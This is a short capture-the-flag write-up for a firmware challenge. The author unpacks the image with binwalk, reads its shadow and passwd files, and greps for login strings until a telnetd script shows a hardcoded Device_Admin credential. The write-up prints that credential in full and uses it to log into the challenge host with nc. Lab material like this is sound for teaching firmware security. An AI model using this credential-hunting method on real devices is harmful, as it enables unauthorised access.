hardware

firmware

July 16, 20242 minutes

As a part of our SDLC process, we’ve got our firmware ready for security testing. Can you help us by performing a security assessment?

Provided files: firmware.bin

We start by extracting the files from the firmware

d3bo@lenovo ~/D/h/c/needle> binwalk --extract firmware.bin
d3bo@lenovo ~/D/h/c/needle> ls
    _firmware.bin.extracted  firmware.bin

Our goal is to find credentials.

I started by enumerating files like shadow, passwd…

d3bo@lenovo ~/D/h/c/n/_firmware.bin.extracted [1]> cat shadow
   1   root::0:0:99999:7:::
   2   daemon:*:0:0:99999:7:::
   3   ftp:*:0:0:99999:7:::
   4   network:*:0:0:99999:7:::
   5   nobody:*:0:0:99999:7:::
   6   dnsmasq❌0:0:99999:7:::
d3bo@lenovo ~/D/h/c/n/_firmware.bin.extracted> cat passwd

But there was nothing noteworthy.

Then I started grepping for files containing the word pass or user, and didn’t find anything either

grep -r 'user' .
grep -r 'pass' .

When filtering for files that contain the word login, we see a possible user called Device_Admin, and $sign is used as the password.

d3bo@lenovo ~/D/h/c/n/_firmware.bin.extracted> grep -r 'login'
 .......
telnetd.sh:		telnetd -l "/usr/sbin/login" -u Device_Admin:$sign	-i $lf &
 .......

Let’s see where the $sign variable is declared so we can find its value

d3bo@lenovo ~/D/h/c/n/_firmware.bin.extracted> grep -r 'sign='
telnetd.sh:sign=`cat /etc/config/sign`

It seems the value of sign is the content of the /etc/config/sign file

d3bo@lenovo ~/D/h/c/n/_firmware.bin.extracted> cat sign
     qS6-X/n]u>fVfAt!

Now we have the credentials: Device_Admin:qS6-X/n]u>fVfAt!

d3bo@lenovo ~/D/h/c/n/_firmware.bin.extracted> nc 94.237.53.157 47932

ng-822100-hwtheneedle-8twgm-5c74c747b5-8gmb2 login: Device_Admin
Device_Admin
Password: qS6-X/n]u>fVfAt!

ng-822100-hwtheneedle-8twgm-5c74c747b5-8gmb2:~$ ls
flag.txt

Now we can see the flag